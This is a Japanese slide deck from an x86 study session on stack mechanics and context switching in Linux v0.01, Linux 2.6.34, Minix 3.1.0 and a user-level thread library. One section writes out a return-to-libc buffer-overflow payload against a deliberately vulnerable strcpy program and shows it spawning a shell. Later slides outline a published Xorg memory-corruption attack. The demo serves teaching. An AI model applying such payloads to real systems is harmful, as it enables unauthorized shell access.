What is Metasepi?
Kiwamu Okabe
 
PDF
kagami_comput2016_07
swkagami
 
PDF
[Basic 7] OS の基本 / 割り込み / システム コール / メモリ管理
Yuto Takei
 
PDF
いでよ、電卓!
Masato Kinugawa
 
PDF
PWNの超入門 大和セキュリティ神戸 2018-03-25
Isaac Mathis
 
2011.09.18 v7から始めるunix まとめ
Makiko Konoshima
 
【学習メモ#8th】12ステップで作る組込みOS自作入門
sandai
 
0章 Linuxカーネルを読む前に最低限知っておくべきこと
mao999
 
プロセスとコンテキストスイッチ
Kazuki Onishi
 
初めてのCPUを作ってみた
Eric Sartre
 
2011.06.11 v7から始めるunix まとめ
Makiko Konoshima
 
V6 unix in okinawa
magoroku Yamamoto
 
Altanative macro
Motohiro KOSAKI
 
Buffer overflow
ionis111
 
Unixカーネルの設計 7 プロセスの制御
Norito Agetsuma
 
0x300
geek_alice
 
StackExchangeで見たシステムプログラミング案件
yaegashi
 
みんな大好き! Hello, World
Naohiro Aota
 
【学習メモ#11th】12ステップで作る組込みOS自作入門
sandai
 
What is Metasepi?
Kiwamu Okabe
 
kagami_comput2016_07
swkagami
 
[Basic 7] OS の基本 / 割り込み / システム コール / メモリ管理
Yuto Takei
 
いでよ、電卓!
Masato Kinugawa
 
PWNの超入門 大和セキュリティ神戸 2018-03-25
Isaac Mathis
 
Ad

More from Masami Ichikawa (8)

PPTX
Linux debug
Masami Ichikawa
 
PDF
Linux Namespaces
Masami Ichikawa
 
PDF
Slub alloc and free
Masami Ichikawa
 
PDF
Slub data structure
Masami Ichikawa
 
PDF
SystemV IPC
Masami Ichikawa
 
PDF
Linux Namespace
Masami Ichikawa
 
PDF
Gnomeとdogtai
Masami Ichikawa
 
PDF
Minix smp
Masami Ichikawa
 
Linux debug
Masami Ichikawa
 
Linux Namespaces
Masami Ichikawa
 
Slub alloc and free
Masami Ichikawa
 
Slub data structure
Masami Ichikawa
 
SystemV IPC
Masami Ichikawa
 
Linux Namespace
Masami Ichikawa
 
Gnomeとdogtai
Masami Ichikawa
 
Minix smp
Masami Ichikawa
 

Recently uploaded (7)

PDF
VMUG Japan book vsan 20250515 CPU/Memory vSAN
Kazuhiro Sota
 
PDF
20250711JIMUC総会_先進IT運用管理分科会Connpass公開資料.pdf
ChikakoInami1
 
PDF
Google Driveハブ型Obsidian同期環境:PC編集とモバイル閲覧を安全・効率的に実現するクロスデバイス構築ガイド
honeshabri
 
PPTX
Devcontainerのススメ(1)-Devcontainerとはどういう技術?-
iPride Co., Ltd.
 
PDF
LoRaWAN ウェザーステーションキット v3 -WSC3-L 日本語ユーザーマニュアル
CRI Japan, Inc.
 
PDF
第三世代 ウェザーステーションキット v3 ー WSC3-L 日本語カタログ
CRI Japan, Inc.
 
PDF
【AI論文解説】 RLHF不要なLLMの強化学習手法: Direct Preference Optimization(+α)
Sony - Neural Network Libraries
 
VMUG Japan book vsan 20250515 CPU/Memory vSAN
Kazuhiro Sota
 
20250711JIMUC総会_先進IT運用管理分科会Connpass公開資料.pdf
ChikakoInami1
 
Google Driveハブ型Obsidian同期環境:PC編集とモバイル閲覧を安全・効率的に実現するクロスデバイス構築ガイド
honeshabri
 
Devcontainerのススメ(1)-Devcontainerとはどういう技術?-
iPride Co., Ltd.
 
LoRaWAN ウェザーステーションキット v3 -WSC3-L 日本語ユーザーマニュアル
CRI Japan, Inc.
 
第三世代 ウェザーステーションキット v3 ー WSC3-L 日本語カタログ
CRI Japan, Inc.
 
【AI論文解説】 RLHF不要なLLMの強化学習手法: Direct Preference Optimization(+α)
Sony - Neural Network Libraries
 

x86とコンテキストスイッチ

  • 1. x86 とコンテキストスイッチ X86 勉強会 2010/08/21 @masami256
  • 2. 自己紹介 ・ Linux 好き - Fedora の Proven testers グループのメンバー - Fedora のテストを色々とやってます - 昔は Debian でパッケージのメンテしたり ・自作カーネルは一応経験済み
  • 3. はじめに • 特に明記しない限り、 x86_32 のプロテクトモー ドで、呼出規約は cdecl です [masami@ftest x86]$ uname -a Linux ftest 2.6.33.6-147.fc13.i686 #1 SMP Tue Jul 6 22:30:55 UTC 2010 i686 i686 i386 GNU/Linux [masami@ftest x86]$ gcc -v Using built-in specs. Target: i686-redhat-linux コンフィグオプション : ../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-bugurl=http://bugzilla.redhat.com/bugzilla --enable-bootstrap --enable-shared --enable- threads=posix --enable-checking=release --with-system-zlib --enable-__cxa_atexit --disable- libunwind-exceptions --enable-gnu-unique-object --enable-languages=c,c++,objc,obj-c+ +,java,fortran,ada --enable-java-awt=gtk --disable-dssi --with-java-home=/usr/lib/jvm/java-1.5.0- gcj-1.5.0.0/jre --enable-libgcj-multifile --enable-java-maintainer-mode --with-ecj- jar=/usr/share/java/eclipse-ecj.jar --disable-libjava-multilib --with-ppl --with-cloog --with- tune=generic --with-arch=i686 --build=i686-redhat-linux スレッドモデル : posix gcc version 4.4.4 20100630 (Red Hat 4.4.4-10) (GCC)
  • 4. Agenda Todo Doing Done Linux Stack v0.01 Stack の Linux 命令 v2.6.34 Stack の Minux まとめ v3.1.0 Context スレッド Switch
  • 5. Agenda Todo Doing Done Linux Stack v0.01 Stack の Linux 命令 v2.6.34 Stack の Minux まとめ v3.1.0 Context スレッド Switch
  • 6. x86 の命令実行での主な登場人物 • stack • eip • ebp • esp • call • ret • Task State Segment(TSS)
  • 7. Stack • SS レジスタが指すセグメントの領域 – スタックが絡む命令では CPU が自動的に参照 • フラットメモリモデルの場合 – リニアアドレス空間にスタックを設定可 – 領域の大きさは、セグメント次第 • アクセスには esp 、 ebp を使用する • 関数単位でスタックフレームに分割される • メモリの高位アドレスから低位アドレスに 向かって領域が伸びていく
  • 8. esp と ebp • esp – スタックポインタ • スタックの末端のアドレスを指す • ebp – スタックフレームのベースポインタ – 減算することで、ローカル変数へアクセス – 加算することで、関数の引数へアクセス
  • 9. スタックフレーム - サンプル void test2(int a, int b) { char s[10]; } void test1(int a, int b) { int n = 10; int m = 20; test2(n + a, m + b); } int main(int argc, char **argv) { test1(1, 2); return 0; }
  • 10. 低位アドレス スタックフレーム esp s test2() のスタックフレーム Saved ebp Ret address test1() で引数の n と m にするには、この a ようになる movl %eax, 8(%ebp) <- a にアクセス b test1() のスタックフレーム movl %edx, 12(%ebp) <- b にアクセス n ローカル変数の場合は、 m movl -4(%ebp), %eax <- m にアクセス Saved ebp movl -8(%ebp), %edx <- n にアクセス Ret address a main() のスタックフレーム b Saved ebp 高位アドレス
  • 11. test1() 実行時のスタックフレーム (gdb) x/x $ebp + 0 0xbffff708: 0xbffff718 (gdb) x/x $ebp + 4 0xbffff70c: 0x080483e9 (gdb) x/x $ebp + 8 0xbffff710: 0x00000001 (gdb) x/x $ebp + 12 0xbffff714: 0x00000002 (gdb) x/x $ebp - 4 0xbffff704: 0x00000014 (gdb) x/x $ebp - 8 0xbffff700: 0x0000000a (gdb) x/20x $esp 0xbffff6f0: 0x005531e0 0x08048215 0x00555ce0 0x00554ff4 0xbffff700: 0x0000000a 0x00000014 0xbffff718 0x080483e9 0xbffff710: 0x00000001 0x00000002 0xbffff798 0x003e3cc6 0xbffff720: 0x00000001 0xbffff7c4 0xbffff7cc 0xb7fff3d0
  • 12. Agenda Todo Doing Done Linux Stack の Stack v0.01 命令 Linux v2.6.34 Stack の Minux まとめ v3.1.0 Context スレッド Switch
  • 13. Stack 操作の命令 • Push • Pop • Call • Ret • Enter • Leave
  • 14. Stack 操作の命令 - Push/Pop void push_pop(void) { int n = 0x20; printf("before: n is 0x%xn", n); $ ./a.out before: n is 0x20 asm volatile("push $0x10;nt" after: n is 0x10 "pop % [output];nt" :[output] "=g"(n)); printf("after: n is 0x%xn", n); }
  • 15. Stack 操作の命令 - Call/Ret void call001(void) { printf("call001-1n"); $ ./a.out asm ("pop %ebp;nt" call001-1 "ret;nt"); printf("call001-2n"); } call と ret 命令では、 cpu がリターンア ドレスをスタック [ に積む / から取得 ] void call_ret(void) するので、使用時にこの辺は気にしな { くてもよい仕様になってます。 asm ("call call001;nt"); }
  • 16. Stack 操作の命令 - Enter/Leave .globl enter_leave /* int enter_leave(void) */ enter_leave: /* Reserve 16 bytes stack frame */ $ ./a.out enter $0x10, $0 ret is 32 movl $0x20, -4(%ebp) /* %eax is return value */ movl -4(%ebp), %eax enter 命令の実行内容は、以下 /* Clear the stack frame */ の内容とほぼ等価です leave pushl %ebp ret movl %esp, %ebp /* 呼び出し */ subl $16, %esp printf("ret is %dn",enter_leave());
  • 17. eip • 次に実行する命令のアドレスが入る • eip を直接弄ることはありません • mov $0x10, %eip とかはできません • call 、 ret や jmp 命令など実行すると cpu が適切な値を eip にセット • eip はスタックに積まれるので、制御を 自分で変更したい場合はこちらを弄り ます
  • 18. 制御を自分で変える void hello2(void) { cout << __FUNCTION__ << endl; exit(0); } extern "C" __attribute__((fastcall)) int hello(int a, int b) { cout << a << ":" << b << endl; } return 0; $ ./a.out int main(int argc, char **argv) 10:20 { int a = 10, b = 20; hello2 unsigned long addr = (unsigned long) &hello2; __asm__ __volatile__("push %[ret_ip]nt" "jmp hello;nt" :: [ret_ip] "g" (addr), [arg_a] "c"(a), [arg_b] "d"(b)); return 0; }
  • 19. Agenda Todo Doing Done Linux Stack の Stack v0.01 まとめ Linux Stack の v2.6.34 命令 Minux v3.1.0 Context スレッド Switch
  • 20. ここまでのまとめ void test(char *p) { char buf[64]; strcpy(buf, p); } int main(int argc, char **argv) { test(argv[1]); printf("okn"); return 0; }
  • 21. main()->test()->system()->exit() の流れで遊んでみる
  • 22. system() に渡す引数の準備 bt test$ BINSH=/bin/sh ; export BINSH bt test $ echo $BINSH /bin/sh bt test $ ./getenv environment[BINSH] is in 0xbfffff15
  • 23. メモリレイアウト 低位アドレス system() に渡す引数のアドレス 0xbfffff15 exit() のアドレス 0xb7ece3a0 system() のアドレス 0xb7ed86e0 B*4 オーバーフロー用のゴミデータ BBBB で ebp が上書きされる A*72 高位アドレス
  • 24. 実行してみる bt test $ ltrace ./vuln `python -c 'print "A"*72 + "BBBB" + "xe0x86xedxb7" + "xa0xe3xecxb7" + "x15xffxffxbf"'` __libc_start_main(0x80483ee, 2, 0xbffff614, 0x8048440, 0x80484a0 <unfinished ...> strcpy(0xbffff510, 0xbffff74c, 0, 0xbffff554, 0x6f6e2800) = 0xbffff510 sh-3.1$ id uid=1001(cola) gid=100(users) groups=100(users) sh-3.1$ exit exit --- SIGCHLD (Child exited) --- +++ exited (status 0) +++ bt test $
  • 25. Agenda Todo Doing Done Linux Context Stack v0.01 Switch Linux Stack の v2.6.34 命令 Minux Stack の v3.1.0 まとめ スレッド
  • 26. Context Switching • Hardware Context Switching –X86 のタスク切り替え機能を利用 –Linux の v0.01 はこちら • Software Context Switching –自分でタスクを切り替える • 一部で cpu の機能を使う必要がある –今時のカーネルは普通こちら
  • 27. TSS • Hardware/Software コンテキストスイッチ どちらでも利用する – Hardware コンテキストスイッチは TSS 必須 – Sfowtware コンテキストスイッチでは所用によ り使う • 各種レジスタ、セグメントなどの情報、 IO 許可 マップなどの情報を保存する領域
  • 28. Hardware Context Switching • CPU によるサポート – FPU 、 MMX 、 SSE の切り替えは未サポート – GDT に TSS を置くので、タスク数は 8190 個 が最大 • あまり使われていない – モダンな OS で使われてるケースってあるので しょうか? • Why? – 遅い(らしい) – http://wiki.osdev.org/Context_Switching
  • 29. Hardware Context Switching の処理 • TSS を作り GDT に置く – TSS はプロセス毎 • ltr 命令で TSS をセットする – 1 つ目の TSS だけで OK • プロセスの切り替えは、 JMP/CALL 命令で 実施 – 各レジスタのセーブ・リストアに関しては CPU がやってくれる – FPU などは除く
  • 30. Software Context Switching • X86 の機能をフル活用しない – TSS の esp0 や IOBP などは利用しま す • タスク数の制限はない – プロセス単位に TSS ディスクリプタ が不要
  • 31. Software Context Switching の処理 • TSS を作り GDT に置く – Linux の場合、 TSS は cpu 毎 • ltr 命令で TSS をセットする – 1 つ目の TSS だけで OK • プロセスの切り替えはスタックの切り替えで実 施 – スタックを次のプロセスのものに切り替えて るのと、関数から戻るときにスタックに積ま れている eip を利用して切り替えを実施 – FPU などは自分で切り替える
  • 32. Agenda Todo Doing Done Linux Stack v0.01 Linux Stack の v2.6.34 命令 Minux Stack の v3.1.0 まとめ Context スレッド Switch
  • 34. Linux v0.01 - sched_init kernel/sched.c 231void sched_init(void) TSS ディスクリプタを GDT にセット 232{ * fork() 時は新プロセス用に作った TSS ディスクリプタをセットします 233 int i; 234 struct desc_struct * p; 235 236 set_tss_desc(gdt+FIRST_TSS_ENTRY,&(init_task.task.tss)); 237 set_ldt_desc(gdt+FIRST_LDT_ENTRY,&(init_task.task.ldt)); snip 246 ltr(0); ltr 命令で TSS をセットします。 snip 254} include/linux/sched.h 154#define ltr(n) __asm__("ltr %%ax"::"a" (_TSS(n))
  • 35. Linux v0.01 - copy_process() kernel/fork.c 61int copy_process(int nr,long ebp,long edi,long esi,long gs,long none, 64 long eip,long cs,long eflags,long esp,long ss) 65{ snip 70 p = (struct task_struct *) get_free_page(); 71 if (!p) 72 return -EAGAIN; 73 *p = *current; /* NOTE! this doesn't copy the supervisor stack */ 74 p->state = TASK_RUNNING; 75 p->pid = last_pid; 70 行目以降で作った新しいプ snip ロセスのディスクリプタを設定 118 set_tss_desc(gdt+(nr<<1)+FIRST_TSS_ENTRY,&(p->tss)); 119 set_ldt_desc(gdt+(nr<<1)+FIRST_LDT_ENTRY,&(p->ldt)); 120 task[nr] = p; /* do this last, just in case */ 121 return last_pid;
  • 36. Linux v0.01 - switch_to() include/linux/sched.h 168#define switch_to(n) { 169struct {long a,b;} __tmp; 170__asm__("cmpl %%ecx,_currentnt" 171 "je 1fnt" 172 "xchgl %%ecx,_currentnt" __tmp.b に gdt に設 定されている次のプ 173 "movw %%dx,%1nt" ロセスの TSS セレク 174 "ljmp %0nt" タ値を代入 175 "cmpl %%ecx,%2nt" 176 "jne 1fnt" 177 "cltsn" 178 "1:" 179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), 180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n]));
  • 37. Linux v0.01 - switch_to() include/linux/sched.h 168#define switch_to(n) { 169struct {long a,b;} __tmp; 170__asm__("cmpl %%ecx,_currentnt" 171 "je 1fnt" 172 "xchgl %%ecx,_currentnt" カレントプロセスと次のプロ 173 "movw %%dx,%1nt" セスが同一ならなにもしない 174 "ljmp %0nt" 175 "cmpl %%ecx,%2nt" 176 "jne 1fnt" 177 "cltsn" 178 "1:" 179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), 180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n]));
  • 38. Linux v0.01 - switch_to() include/linux/sched.h 168#define switch_to(n) { 169struct {long a,b;} __tmp; 170__asm__("cmpl %%ecx,_currentnt" 171 "je 1fnt" 172 "xchgl %%ecx,_currentnt" 173 "movw %%dx,%1nt" セグメント間ジャンプでプロセス 174 "ljmp %0nt" 切り替え実行 175 "cmpl %%ecx,%2nt" 176 "jne 1fnt" 177 "cltsn" 178 "1:" 179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), 180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n]));
  • 39. Linux v0.01 - switch_to() include/linux/sched.h 168#define switch_to(n) { 169struct {long a,b;} __tmp; 170__asm__("cmpl %%ecx,_currentnt" 171 "je 1fnt" 172 "xchgl %%ecx,_currentnt" 173 "movw %%dx,%1nt" 最後に FPU レジスタを使ったプロ 174 "ljmp %0nt" セスと切り替え後のプロセスを比 175 "cmpl %%ecx,%2nt" 較して同じだったら、 clts 命令を 176 "jne 1fnt" 実行い CR0 レジスタの TS フラグ 177 "cltsn" をリセットする 178 "1:" 179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), 180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n]));
  • 40. clts 命令と TS フラグ • CR0 レジスタの TS フラグをクリアする命令 • TS は Task Switch の略 • TS フラグはハードウェアコンテキストスイッチ 発生時に CPU によりセットされる • このフラグが立っているときに、浮動小数点命 令を使用すると例外( Device not available) が発 生する • この仕組みを利用して、 FPU レジスタの退避を 遅延させることができる
  • 41. Agenda Todo Doing Done Minux Linux Linux Stack v3.1.0 v2.6.34 v0.01 Stack の スレッド 命令 Stack の まとめ Context Switch
  • 43. Linux 2.6.34 の Context Switch • switch_to マクロ – arch/x86/include/asm/system.h • __switch_to() – arch/x86/kernel/process_32.c
  • 44. switch_to - 概要 arch/x86/include/asm/system.h 44/* 45 * Saving eflags is important. It switches not only IOPL between tasks, 46 * it also protects other tasks from NT leaking through sysenter etc. 47 */ 48#define switch_to(prev, next, last) このマクロはカレントプロセスの eip 、 esp 、 ebp の保存と、 次のプロセスのために eip 、 esp 、 ebp の設定、 __switch_to() の呼出をします。 __switch_to() から戻った時点で、プロセスが 切り替わっています。
  • 45. switch_to - 実行部分 57 unsigned long ebx, ecx, edx, esi, edi; 58 59 asm volatile("pushflnt" /* save flags */ 60 "pushl %%ebpnt" /* save EBP */ 61 "movl %%esp,%[prev_sp]nt" /* save ESP */ 62 "movl %[next_sp],%%espnt" /* restore ESP */ 63 "movl $1f,%[prev_ip]nt" /* save EIP */ 64 "pushl %[next_ip]nt" /* restore EIP */ 65 __switch_canary 66 "jmp __switch_ton" /* regparm call */ 67 "1:t" 68 "popl %%ebpnt" /* restore EBP */ 69 "popfln" /* restore flags */
  • 46. __switch_to() の主な処理 • もし Prev プロセスが FPU を使っていた場合 は、 FPU レジスタを退避する • clts 命令の実行などもある • カーネル用のスタックを設定 • TSS の sp0 • Thread Local Storage へアクセス出きるよう にセグメントを設定  • I/O ポートへのアクセス権の設定
  • 47. プロセス切替の完了 67 "1:t" 68 "popl %%ebpnt" /* restore EBP */ 69 "popfln" /* restore flags */ __switch_to() から戻る場所は、 67 行目にセット されているので、 ebp と、 eflags をリストアす ることで switch_to() の処理は終了し、 Next プロ セスの実行が始まる。
  • 48. プロセス切替時のスタックの様子 jmp 命令で __switch_to() を呼 Prev プロセスの び、 __switch_to() から return するとき スタック にきに ret 命令が Next プロセスのスタ ックから %next_ip を読込み、指定され ebp esp た場所に戻る pushl %%ebp eflags pushfl XXX Next プロセスの  XXX スタック movl %[next_sp],%%esp esp Ret Address pushl % XXX [next_ip] XXX
  • 49. Agenda Todo Doing Done Minux Linux スレッド Stack v3.1.0 v0.01 Stack の Linux 命令 v2.6.34 Stack の まとめ Context Switch
  • 51. Minix3.1.0 の Context Switch ● kernel/mpx386.s に実装がある ● _restart() がコンテキストスイッチを実行 ● 通常は c の関数からは呼ばれない ● 同ファイルの割り込みハンドラから実行 例外は kernel/main.c の main() で、終了時に呼 ● び出される ● main() の最後に _restart() を呼ぶ ● スケジューラにセットされたサーバプロセス の起動処理が走りだす
  • 52. _restart - 前半 _restart: cmp (_next_ptr), 0 _next_ptr は次のプロセス jz 0f で、次のプロセスが無け mov eax, (_next_ptr) れば、今のプロセスを継 mov (_proc_ptr), eax 続する mov (_next_ptr), 0 0: mov esp, (_proc_ptr) lldt P_LDT_SEL(esp) lea eax, P_STACKTOP(esp) mov (_tss+TSS3_S_SP0), eax
  • 53. _restart - 前半 _restart: _proc_ptr に _next_ptr をセ cmp (_next_ptr), 0 ットして、 _next_ptr を jz 0f NULL にする mov eax, (_next_ptr) mov (_proc_ptr), eax LDT をセット mov (_next_ptr), 0 0: mov esp, (_proc_ptr) lldt P_LDT_SEL(esp) lea eax, P_STACKTOP(esp) mov (_tss+TSS3_S_SP0), eax
  • 54. _restart - LDT の設定 先ほど出てきた P_LDT_SEL はマクロで、 proc 構造体の配列 p_ldt にアクセスするために使用しています。このマクロを使用すること で、 lldt 命令の引数を正しくセットできます。 マクロは kernel/sconst.h にて定義。 struct proc { struct stackframe_s p_reg; /* process' registers saved in stack frame */ #if (CHIP == INTEL) reg_t p_ldt_sel; /* selector in gdt with ldt base and limit */ struct segdesc_s p_ldt[2+NR_REMOTE_SEGS]; /* CS, DS and remote segments */ #endif この p_ldt にアクセスする
  • 55. _restart - 前半 _restart: cmp (_next_ptr), 0 jz 0f mov eax, (_next_ptr) mov (_proc_ptr), eax TSS の sp0 をセット mov (_next_ptr), 0 0: mov esp, (_proc_ptr) lldt P_LDT_SEL(esp) lea eax, P_STACKTOP(esp) mov (_tss+TSS3_S_SP0), eax
  • 56. Minix の TSS 構造体 kernel/protect.h struct tss_s { reg_t backlink; reg_t sp0; reg_t ss0; mov (_tss+TSS3_S_SP0), eax reg_t sp1; ↑ の mov 命令で sp0 をセットするわけですが、その仕組み は単純で、 TSS を表す構造体 _tss の先頭からオフセット snip TSS3_S_SP0 バイト目にアクセスするだけです。 386 版の aMinix では reg_t は 4 バイトなので、先頭から 4 バ }; イト目は sp0 となり、目的の位置にアクセスできます。 #define TSS3_S_SP0 4
  • 57. _restart - 後半 restart1: _restart() 内では使用しないラベル decb (_k_reenter) カーネルのリエントラント用 o16 pop gs のカウンタをデクリメント o16 pop fs o16 pop es o16 pop ds スタックに積まれているリ popad ターンアドレスを無視 add esp, 4 iretd iretd で抜けて処理が完了
  • 58. Agenda Todo Doing Done Linux スレッド Stack v0.01 Stack の Linux 命令 v2.6.34 Stack の Minux まとめ v3.1.0 Context Switch
  • 59. スレッド  スタックの切り替えでスレッドを切り替え ることができます  実験は x86_64 で行ってます
  • 60. スレッド構造体 typedef struct _Thread { struct _Thread *next; int thread_id; unsigned long context[CONTEXT_SIZE]; char *stack_top; /* NULL if this is main() thread */ int status; } Thread;
  • 61. メインスレッド void ThreadMain(int argc, char **argv) { int t1, t2; t1 = ThreadCreate(f, 1); printf("create a new thread (i=%d) [id=%d]n", 1, t1); t2 = ThreadCreate(f, 2); printf("create a new thread (i=%d) [id=%d]n", 2, t2); ThreadYield(); printf("main thread finished.n"); }
  • 62. スレッド生成 - 前半 int ThreadCreate(ThreadProc proc, unsigned long arg) { Thread *child; unsigned long addr = (unsigned long) ThreadStart; unsigned long stack_start = 0; child = AllocateThread(); child->stack_top = malloc(STACK_ALLOC_SIZE); memset(child->stack_top, 0, STACK_ALLOC_SIZE); stack_start = (unsigned long) child->stack_top + STACK_SIZE; memcpy((char *) stack_start, &addr, sizeof(addr));
  • 63. スレッド生成 - 後半 child->context[0] = stack_start; child->context[1] = stack_start; child->context[2] = (unsigned long) proc; child->context[3] = arg; child->status = RUNNING; LinkThread(child); return child->thread_id; }
  • 64. スレッドのエントリポイント static void ThreadStart(unsigned long proc, unsigned long arg) { ThreadProc ptr = (ThreadProc) proc; ptr(arg); ThreadExit(); }
  • 65. ThreadYeild- 前半 void ThreadYield() { Thread *t; int found = 0; for (t = threadList->next; t; t = t->next) { if (t && t->status == RUNNING && t != currentThread) { found = 1; break; } }
  • 66. ThreadYeild- 後半 if (found) { Thread *cur = currentThread; currentThread = t; printf("switch id %d to %dn", cur->thread_id, t->thread_id); _ContextSwitch(cur->context, t->context); } else if (currentThread->thread_id == MAIN_THREAD_ID) { // main thread's state is FINISH. printf("There is only main threadn"); } else { printf("There is no active threadn"); } }
  • 67. _ContextSwitch //void _ContextSwitch(void* old_context, void* new_context); .globl ENTRY(_ContextSwitch) ENTRY(_ContextSwitch): movq %rdi, %rax // old movq %rsp, 0(%rax) movq %rbp, 8(%rax) movq %rdi, 16(%rax) movq %rsi, 24(%rax) movq %rsi, %rax // new movq 0(%rax), %rsp movq 8(%rax), %rbp movq 16(%rax), %rdi // arg1 movq 24(%rax), %rsi // arg2 ret
  • 68. スレッドの実行内容 void f(int i) { int n = 0; for (n = 0; n < 10; n++) { printf("thread(%d): %d.n", i, n); ThreadYield(); } printf("thread (i=%d) finished.n", i); }
  • 69. 実行結果 [masami@moon]~/experiment/thread% ./test1 create a new thread (i=1) [id=1] create a new thread (i=2) [id=2] switch id 0 to 2 thread(2): 0. switch id 2 to 1 thread(1): 0. switch id 1 to 2 ~ switch id 1 to 2 thread (i=2) finished. switch id -1 to 1 thread (i=1) finished. switch id -1 to 0 main thread finished.
  • 70. まとめ • プロセスの切り替えは、スタックとスタック 操作のメカニズムが主要な鍵になってます • スタック周りの説明はバッファオーバーフロ ーなどのテクニックを紹介している本が結構 詳しいです • 大概は x86 で説明しているのと、 exploit コ ードの説明ではスタックの知識が必要なので …
  • 71. 追加スライド • Linux カーネルの脆弱性のレポート – Exploiting large memory management vulnerabilities in Xorg server running on Linux • スタック & ヒープ領域に絡んだ話です – デフォルトインストールの Fedora 13 で 再現 • F13 は selinux 有効、 exec-shiled パッ チ有りがデフォルトです
  • 72. 概要 スタックとヒープを大量に使った場合の問題 ● ● スタックとヒープが重なったら危険! Xorg の MIT-SHM という拡張機能を使ってい ● ると exploit の効果が抜群 ● この拡張を無効にすれば exploit の信頼性が落 ちるけど、 Xorg の機能性も落ちる
  • 73. シナリオ X サーバに大量のメモリを確保させる ● ● x86_32 では実行する必要なし ● 共有メモリ S を限界まで確保させる ● 関数 F の再帰呼び出しを繰り返し実行させる ● S の領域に 0 以外のデータが入っている場所 を探す ● スタックフレームとヒープが重なった!
  • 74. シナリオ ● プロセス W を立ち上げて、 S 内のデータを payload で書き換える ● F が関数から戻るときはスタックからリター ンアドレスを取得する ● この時に payload を読み込んだらゲームオー バー ● W による書き換えと、 F がリターンアドレス を取得するタイミングでレースがある ● でも、ほとんどの SMP システムでは上手く できる
  • 76. リファレンス • Insecure Programming by example – http://community.corest.com/~gera/InsecureProgramming/ • OSDev.org – http://wiki.osdev.org/Main_Page • Hacking: 美しき策謀 —脆弱性攻撃の理論と実際 – http://www.amazon.co.jp/dp/4873112303 • xorg-large-memory-attack.pdf – http://www.invisiblethingslab.com/resources/misc- 2010/xorg-large-memory-attacks.pdf